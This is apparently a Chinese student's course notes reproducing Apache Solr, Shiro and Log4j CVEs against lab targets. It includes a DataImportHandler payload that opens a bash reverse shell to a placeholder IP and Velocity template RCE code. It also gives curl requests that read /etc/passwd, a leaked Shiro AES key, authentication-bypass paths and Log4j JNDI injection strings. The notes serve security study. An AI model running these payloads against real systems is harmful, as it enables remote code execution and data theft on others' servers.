小迪安全v2023学习笔记(八十二讲)—— Java组件安全SolrShiroLog4jCVE复现
文章目录
- 前记
- 服务攻防——第八十二天
- 开发组件安全&Solr搜索&Shiro身份验证&Log4j日志记录&本地CVE环境复现
- J2EE - Solr组件-本地demo&CVE
- 漏洞介绍
- 漏洞复现
- CVE-2019-0193
- CVE-2019-17558
- CVE-2021-27905
- J2EE - Shiro组件-本地demo&CVE
- 漏洞介绍
- 漏洞复现
- CVE-2016-4437
- CVE-2020-11989
- J2EE - Log4j组件-本地demo&CVE
- 漏洞介绍
- 漏洞复现
- CVE-2021-44228
- 扩展知识
- 为什么存在漏洞但是利用不成功?
- 有Key无链如何利用
前记
- 今天是学习小迪安全的第八十二天,主要内容是Java的开发组件安全,包括Solr、Shiro以及Log4j2
- 介绍了其近几年爆出的重大漏洞,以及工具利用,主要还是以工具使用为主
服务攻防——第八十二天
开发组件安全&Solr搜索&Shiro身份验证&Log4j日志记录&本地CVE环境复现
J2EE - Solr组件-本地demo&CVE
漏洞介绍
- Solr组件是基于HTTP和Apache Lucene实现的全文搜索服务器
- 黑盒特征:
-
图标为红色花瓣(类似华为小菊花)
-
端口为8983
-
fofa
语法:
port="8983" && title=="Solr Admin"
- CVE-2019-17558:
- 漏洞描述:Apache Solr 使用 Velocity 模板引擎来渲染响应内容。在其 5.0.0 至 8.3.1 版本中,默认未启用
params.resource.loader.enabled
参数,但通过 Solr 的 Config API,攻击者可以动态启用该参数,从而允许通过 URL 参数传入并执行任意 Velocity 模板代码。 - 影响版本:
Apache Solr 5.0.0 ~ 8.3.1
(含)
- 利用条件:
- 攻击者可以访问 Solr 的 Config API(默认端口 8983)
- Solr 未启用身份认证(默认配置下通常无认证)
- 攻击者知道目标 Solr 中的 core 名称(如
demo
、test
等)。 - 目标 Solr 启用了
VelocityResponseWriter
(默认启用)
- 漏洞描述:Apache Solr 使用 Velocity 模板引擎来渲染响应内容。在其 5.0.0 至 8.3.1 版本中,默认未启用
- CVE-2019-0193:
- 漏洞描述:Solr 的 DataImportHandler(DIH)模块 允许用户通过
dataConfig
参数传入自定义配置,而该配置中可以嵌入 JavaScript 脚本,且未做充分沙箱隔离,导致攻击者可在服务器端执行任意代码。 - 影响版本:
Apache Solr < 8.2.0
- 利用条件:
Apache Solr
的DataImportHandler
启用了模块DataImportHandler
(默认不会被启用,启用后可以进入管理页面打开datainport
是有数据的)Solr Admin UI
未开启鉴权认证。(默认情况无需任何认证,手动开启需要密码登录)
- 漏洞描述:Solr 的 DataImportHandler(DIH)模块 允许用户通过
- CVE-2021-27905:
- 漏洞描述:
ReplicationHandler
(通常注册在Solr
核心下的“/replication”
处)有一个“masterUrl”
(也是“leaderUrl”
别名)参数,用于在另一个 Solr 核心上指定另一个ReplicationHandler
,以将索引数据复制到本地核心中。 - 影响版本:
Apache Solr 7.0.0 ~ 7.7.3
Apache Solr 8.0.0 ~ 8.8.2
- 利用条件:
- 目标 Solr 未开启认证(默认安装即无认证)
- 知道任意一个 core 名(
/solr/xxx/replication
) - 能访问 ReplicationHandler 接口(默认 8983 端口)
- 说明:这里并不是小迪说的全版本都可能存在漏洞,官方不予认定并拒绝修复的是另外一个 “
enableRemoteStreaming
+ 无认证即可文件读取” 漏洞
- 漏洞描述:
- CVE-2025-24814:
- 漏洞描述:Solr在独立或用户管理模式下,未启用认证和授权时,攻击者可以替换可信配置文件,通过
solrconfig.xml
中的<lib>
指令引入未授权的JAR文件,导致远程代码执行 - 影响版本:
Apache Solr < 9.8.0
- 利用条件:
- Solr运行在独立或用户管理模式
- 未启用认证和授权
- 漏洞描述:Solr在独立或用户管理模式下,未启用认证和授权时,攻击者可以替换可信配置文件,通过
- 其他更多漏洞详细见Solr官网:Solr™ 安全新闻 - Apache Solr
漏洞复现
- 虽然小迪没有展示可以一把梭的工具,但是这个组件也是有这种工具的,下载地址:xiangmou123/SolrScan: solr综合利用工具
- 因为这款工具是今年六月份出的,所以漏洞方面都还比较新,当然也可以自己添加新漏洞的exp进去
- 使用的时候直接将源码下下来,或者下
.exe
文件,然后执行:
python run.py
CVE-2019-0193
-
我们启动
vulhub
靶场,vulfocus
是没有这个靶场的,打开网站:
-
首先确定是Solr,然后它的版本为
8.1.1
,黑盒中我们就直接工具扫了:
-
这里可能在扫描过程中会爆出一个错误:
-
意思是在
cve_2019_0193.py
的第124行,f-string
语句中出现了反引号,我们打开这个文件,可以看到它的代码是这么写的:
-
我们就不用
f-string
语句,直接换成.format
语句即可,这里就找ai改改就行了 -
填入目标网址,这里不要带后面的路径,然后开始扫描,它就会得到一个扫描的结果:
-
可以看到目标网站存在这个CVE-2019-0193漏洞,双击进入利用页面,执行id命令:
-
提示执行成功,但是没有回显,而且这里提示请求超时,不知道为什么,可能是我的环境有问题,但是可以确定的是存在这个漏洞
-
那我们就手动复现一下,它的原理是如果目标网站开启了
DataImportHandler(DIH)
模块,并且允许我们传入自定义配置信息,简单来说就是下面这个地方能打开:
-
那我们就可以尝试利用这个漏洞,直接将
payload
插入红色方框的地方:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("这里填入想要执行的命令");
}
]]></script>
<document>
<entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" />
</document>
</dataConfig>
- 这个看着很像XXE对不对,但它并不是XXE,要注意区分,然后我们在
exec()
这个位置写入我们想要执行的命令 - 一般是先判断能否出网,即让他
ping
一下我们的dns地址,然后再尝试其他的命令;但是这里我们就直接尝试反弹Shell,将那个执行命令的地址改为:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
- 然后点击执行,但是这里没有执行成功,经过一步一步排查,原因出在
<entity name=.../>
这里,这个url
网址是国外的网址,我的docker
无法访问 - 从docker日志可以看到:
docker logs <容器ID>
- 于是我们就将
payload
的这个部分换成一个国内能够访问到的网址,或者本地起一个简单的服务器环境,我这里选择的是后者 - 因为这个地方就是让它去访问一个
xml
文件,然后对每个feed
标签执行一遍poc
函数,所以我们是可以随便换的,稍微改动一下即可 - 假设我们有这样一个xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<documents><document><title>Solr RCE</title><author>Tester</author></document>
</documents>
- 再将
payload
改为:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[ function poc(){ var cmd = ["/bin/bash","-c","bash -c 'exec bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"];java.lang.Runtime.getRuntime().exec(cmd);}
]]></script>
<document> <entity name="payload"url="http://10.136.0.69:8888/solr.xml"processor="XPathEntityProcessor"forEach="/documents/document"transformer="script:poc"></entity>
</document>
</dataConfig>
- 然后点击执行,就可以看到反弹Shell成功:
CVE-2019-17558
-
还是一样启动
vulhub
靶机,打开网站:
-
Solr版本为8.2.0,可能存在漏洞,我们直接工具梭哈:
-
可能存在CVE-2019-17558这个漏洞,于是双击尝试利用:
-
成功利用,我们也可以自己去手动复现一下,比如看看它的
exp
是怎么写的,核心的部分就是:
# 为core核心开启Velocity引擎模块
config_data = { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }
}
resp = scanner.request( "POST", f"/solr/{core_name}/config", json=config_data
)# 发送payload
command_escaped = command.replace("'", "\\'").replace('"', '\\"')
exploit_payload = f"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('{command_escaped}')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
encoded_payload = urllib.parse.quote(exploit_payload) # 发送利用请求
logger.info(f"向核心 {core_name} 发送命令执行payload")
resp = scanner.request( "GET",
f"/solr/{core_name}/select?q=1&&wt=velocity&v.template=custom&v.template.custom={encoded_payload}"
)
- 首先开启目标网站的
Velocity
引擎,然后向该引擎发送构造的payload
,这个payload
核心就是利用反射去得到Runtime
类,执行它的exec
函数,最后输出结果 - 所以我们可以自己去抓包然后请求,这里就不演示了
CVE-2021-27905
-
启动
vulfocus
靶机,打开网站:
-
这里我们先要创建一个Core核心,直接创建它会提示无法创建:
-
原因是因为
/var/solr/data/new_core
文件夹下没有solrconfig.xml
文件 -
进入我们的虚拟机,然后运行如下命令进入
docker
容器:
docker exec -it <容器ID> /bin/bash
- 然后再运行如下命令将
/solr-8.2.0/server/solr/configsets/_default/conf
文件夹下的内容复制到new_core
下:
cp -r /opt/solr-8.2.0/server/solr/configsets/_default/conf /var/solr/data/new_core
-
再次点击
Add Core
即可创建成功:
-
然后我们直接先工具扫一波:
-
很可惜这里并没有识别出CVE-2021-27905这个漏洞,不过我们可以从它的执行日志中看到是可能存在该漏洞的:
-
这里就手动复现一下看看吧,首先通过访问
http://目标IP:8983/solr/admin/cores?indexInfo=false&wt=json
获取数据库名:
-
这里是
new_core
,然后执行如下命令访问触发:
curl -i -s -k -X POST \-H 'Content-Type: application/json' \--data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' \'http://{目标IP}:14419/solr/{核心名}/config'
- 最后再执行如下命令进行文件读取:
curl -i -s -k \'http://{目标IP}:8983/solr/{核心名}/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
- 可以看到成功读取到了
/etc/passwd
文件,说明该漏洞确实存在,接下来我们也可以进一步尝试SSRF利用 - 我看了一下,工具扫不出来的原因是因为这个地方写错了:
# 构造测试URL,尝试访问内部文件
test_url = f"/solr/{core_name}/replication?command=fetchindex&masterUrl=file:///etc/passwd&wt=json"
- 它使用
command=fetchindex
是没办法读取文件的,将其改为:
# 构造测试URL,尝试访问内部文件
test_url = f"/solr/{core_name}/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd&wt=json"
- 还有下面那个
exploit_url
也要改掉,最后在JSON提取部分添加:
# 真正的文件文本在这里
if "streams" in data and len(data["streams"]) > 0: content = data["streams"][0].get("stream", "") if content: return True, content
- 此时就能够成功扫描到漏洞并利用成功了:
J2EE - Shiro组件-本地demo&CVE
漏洞介绍
- Java安全框架,能够用于身份验证、授权、加密和会话管理,可以通过这篇文章快速了解一下:Shiro安全框架【快速入门】就这一篇! - 知乎
- CVE-2016-4437(
Shiro-550
):- 漏洞描述:Shiro ≤1.2.4 默认把“记住我”信息先 Java 序列化、再用硬编码 AES 密钥加密后放进 Cookie。攻击者只要拿到同一密钥,就可把恶意序列化数据塞进
rememberMe
,服务器解密后触发反序列化,进而 RCE。 - 影响版本:
Apache Shiro ≤ 1.2.4
-
1.2.4 若手动配置仍复用网上泄露密钥同样中招
- 利用条件:
- 登录页开启
rememberMe
- 服务端存在 CommonsBeanutils、CommonsCollections3/4、C3P0、Groovy 等任一 gadget
- 使用默认或已泄露的 AES 密钥(Base64 如 kPH+bIxk5D2deZiIxcaaaA== 等 30+ 公开 key)
- 登录页开启
- 说明:目前这个漏洞在实战中基本不会碰到,如果碰到了,可能是蜜罐
- 漏洞描述:Shiro ≤1.2.4 默认把“记住我”信息先 Java 序列化、再用硬编码 AES 密钥加密后放进 Cookie。攻击者只要拿到同一密钥,就可把恶意序列化数据塞进
- CVE-2019-12422(
Shiro-721
)- 漏洞描述:Shiro 1.2.5-1.4.1 仍使用 AES-128-CBC 加密 rememberMe Cookie。CBC 模式对填充错误会返回不同响应,攻击者只需拥有一个合法用户登录后的 Cookie,即可通过 Padding Oracle Attack 逐字节猜解密文,随后把任意序列化数据重新加密成“合法” Cookie,再次发送即可触发服务端反序列化,最终造成远程代码执行。
- 影响版本:
Apache Shiro 1.2.5 ~ 1.4.1
- 利用条件:
- 开启 rememberMe 功能(响应头能看到 Set-Cookie: rememberMe=deleteMe)
- 服务端使用 AES-CBC 模式(Shiro 默认即 CBC)
- 攻击者能先注册/拿到任意一个合法账号,登录后取得 rememberMe Cookie
- 目标类路径存在可被反序列化的 Gadget(CommonsBeanutils、CommonsCollections3/4、C3P0、Groovy 等均可)
- 网络层允许短时间内发送大量请求(Padding Oracle 需要平均 8×n 次请求猜一个字节,整条 Cookie 通常 10-30 k 请求)
- CVE-2020-11989:
- 漏洞描述:Shiro 1.5.3 及以前版本在
getPathWithinApplication()
方法里会对 URI 做两次 URL 解码,而 Spring Boot 的getRequestURI()
只保留容器已做的一次解码,于是可能造成登录验证绕过。 - 影响版本:
Apache Shiro ≤ 1.5.2
- 利用条件:
- 使用 Spring Boot / Spring MVC 且由 Shiro 做鉴权
- 配置文件中存在单
*
的 Ant 风格拦截规则(如/admin/* → authc
) - 控制器用
@PathVariable String xxx
接收路径参数(只有 String 类型才会触发二次解码差异) - 应用未部署在根目录时更易触发(ContextPath 会放大两次解码的差异)
- 漏洞描述:Shiro 1.5.3 及以前版本在
- CVE-2020-1957:
- 漏洞描述:Shiro <1.5.2 与 Spring Boot 共用同一路径时,两者对分号截断/标准化顺序不同:Shiro 先截取分号后段再鉴权,Spring 则先 normalize 再路由,于是攻击者用
/xxx/..;/admin/index
可绕过/admin/*
过滤器 - 影响版本:
Apache Shiro <1.5.2
- 利用条件:
- 配置中使用 Ant 风格
/admin/*
做拦截 - 后台接口实际由 Spring MVC 分发
- 应用可部署在根路径,也接受包含分号的 URL(Tomcat 默认放行)
- 配置中使用 Ant 风格
- 漏洞描述:Shiro <1.5.2 与 Spring Boot 共用同一路径时,两者对分号截断/标准化顺序不同:Shiro 先截取分号后段再鉴权,Spring 则先 normalize 再路由,于是攻击者用
- CVE-2022-32532
- 漏洞描述:只有在使用 RegExPatternMatcher 并写了含
.
的正则(如/permit/.*
)时生效;.
默认不匹配换行符,因此在路径里插入%0a
(\n
)或%0d
(\r
)即可让正则匹配失败,从而绕过认证。 - 影响版本:
Apache Shiro < 1.9.1
- 利用条件:
- 配置中显式改用
RegExPatternMatcher
(默认是 AntPathMatcher,不受影响) - 正则里出现
.
且未开启Pattern.DOTALL
- 攻击者可直接访问受 RegEx 保护的路径
- 配置中显式改用
- 说明:需要依赖代码具体写法,无法自动化,风险较低
- 漏洞描述:只有在使用 RegExPatternMatcher 并写了含
- 其他更多漏洞详细见:https://avd.aliyun.com/search?q=Shiro
漏洞复现
- 我们依然是有直接利用的工具,在狐狸工具箱内的Pyke-Shiro以及Shiro反序列化漏洞综合利用工具
CVE-2016-4437
-
这个和Shiro-721现在基本也没啥研究的必要了,因为实战中基本是碰不到了,就算碰到了直接工具一把梭就出来了
-
启动
vulfocus
靶机,打开网站,有个登录点,尝试登录然后看看数据包:
-
可以看到这里
Set-Cookie
处有rememberMe=deleteMe
,很明显就是Shiro
组件,于是我们直接上工具:
-
利用成功
CVE-2020-11989
-
对于这个漏洞我们使用小迪搭的本地dome来演示,虽然
vulfocus
上面有靶场,但是感觉环境有问题,我没搞出来 -
这里先将Shiro的版本改到漏洞版本,然后
mvn clean
再install
,打开网站,访问http://localhost:9090/admin/1
页面,他会跳转到/login
页面
-
我们可以尝试访问
/admin/%20
,它就直接绕过了登录认证,来到了后台页面:
J2EE - Log4j组件-本地demo&CVE
漏洞介绍
- Apache的一个开源项目,是一个基于Java的日志记录框架
- 黑盒特征:盲打 会问蓝队攻击特征
(${jndi:rmi:///osutj8})
- CVE-2021-44228:
- 漏洞描述:Log4j2 ≤2.14.1 在打印日志时对
${jndi:ldap://...}
等 Lookup 表达式进行递归解析,攻击者只需把恶意字符串写入任何可被记录的位置(HTTP 头、参数、Cookie、X-Forwarded-For、User-Agent 等),即可触发 JNDI 远程查询并下载执行任意 Java 代码。 - 影响版本:
Apache Log4j2 2.0-beta9 ~ 2.14.1
- 含
SpringBoot ≤2.3.x
默认自带版本
- 利用条件:
- 应用使用 log4j-core(log4j-api 本身无害)
- 日志配置未关闭 Lookup 功能(默认开启)
- 攻击者可控制至少一条日志内容
- 目标可出网(或能访问内网 LDAP/RMI/DNS 服务)
- 漏洞描述:Log4j2 ≤2.14.1 在打印日志时对
- CVE-2021-45046:
- 漏洞描述:2.15.0 对 44228 的“快速修”只堵住
${jndi:
前缀,却仍可借助${jndi:${lower:l}${upper:d}${lower:a}${upper:p}://...}
等嵌套/大小写变换绕过,继续触发 RCE 或 DoS - 影响版本:
Apache Log4j2 2.15.0
(仅限该版本)
- 利用条件:与CVE-2021-44228相同
- 漏洞描述:2.15.0 对 44228 的“快速修”只堵住
- CVE-2023-26464:
- 漏洞描述:Log4j 2.0–2.20.0 的
JDBCAppender
在写日志时若使用PatternLayout
且包含%m
、%msg
等转换符,会把原始消息直接拼接进 SQL 语句;攻击者只要把${jndi:...}
或恶意 SQL 片段写进日志,即可触发JNDI注入或者RCE。 - 影响版本:
Apache Log4j2 2.0 ~ 2.20.0
(仅当使用JDBCAppender
+PatternLayout
且 SQL 语句拼接用户消息时)
- 利用条件:
- 使用
JDBCAppender
记录应用日志 - 配置里写死
INSERT INTO logs VALUES('%m')
之类拼接 - 攻击者可控制一条日志内容
- 数据库驱动支持多语句(如 MySQL allowMultiQueries=true 或 H2)
- 使用
- 漏洞描述:Log4j 2.0–2.20.0 的
- 其他更多的漏洞详见:https://avd.aliyun.com/search?q=Log4j
漏洞复现
- 狐狸工具箱中同样有直接利用的工具——Java框架漏洞探测工具,但感觉不是很好用
CVE-2021-44228
-
启动我们的
vulfocus
靶场,打开网站:
-
点击这五个问号,跳转到一个网址
http://192.168.0.143:37370/hello?payload=111
,因为log4j黑盒测试基本是没有特征的,所以只能盲打 -
于是这个参数点就是我们测试的一个点,尝试JNDI注入,先用工具生成一个地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "" -A 192.168.0.129
- 然后一个个尝试,这里我们尝试的时候需要URL编码一下,然后插进去,它是有请求的,但是也不知道为什么,反正就是反弹不了
扩展知识
为什么存在漏洞但是利用不成功?
- 有的网站可能使用了存在漏洞的组件,但是它的语法本身没有用到涉及漏洞的部分,此时也不能成功利用
- 比如Log4j,如果我传入的日志变量部分是规定好的,或者使用的是
logger.info()
函数,都是利用不了的 - 所以不仅要看它有没有过时组件,也要看它是否存在不规范的语法或者配置
有Key无链如何利用
-
我们在Shiro框架利用工具中可以看到有这个东西:
-
这里回显方式就是有没有回显利用,如果没有回显就判断出不出网,出网就反弹Shell,不出网就写入文件
-
然后这里的利用链就是我们执行命令的链,如果它使用的组件当中也同时存在这些,我们就可以通过它去构造利用链执行命令
-
如果都没有,就形成了有Key无链的情况,这时我们可以尝试用Java自带的链或者一些不常规的链子
-
当然具体的利用方法小迪说后面会讲到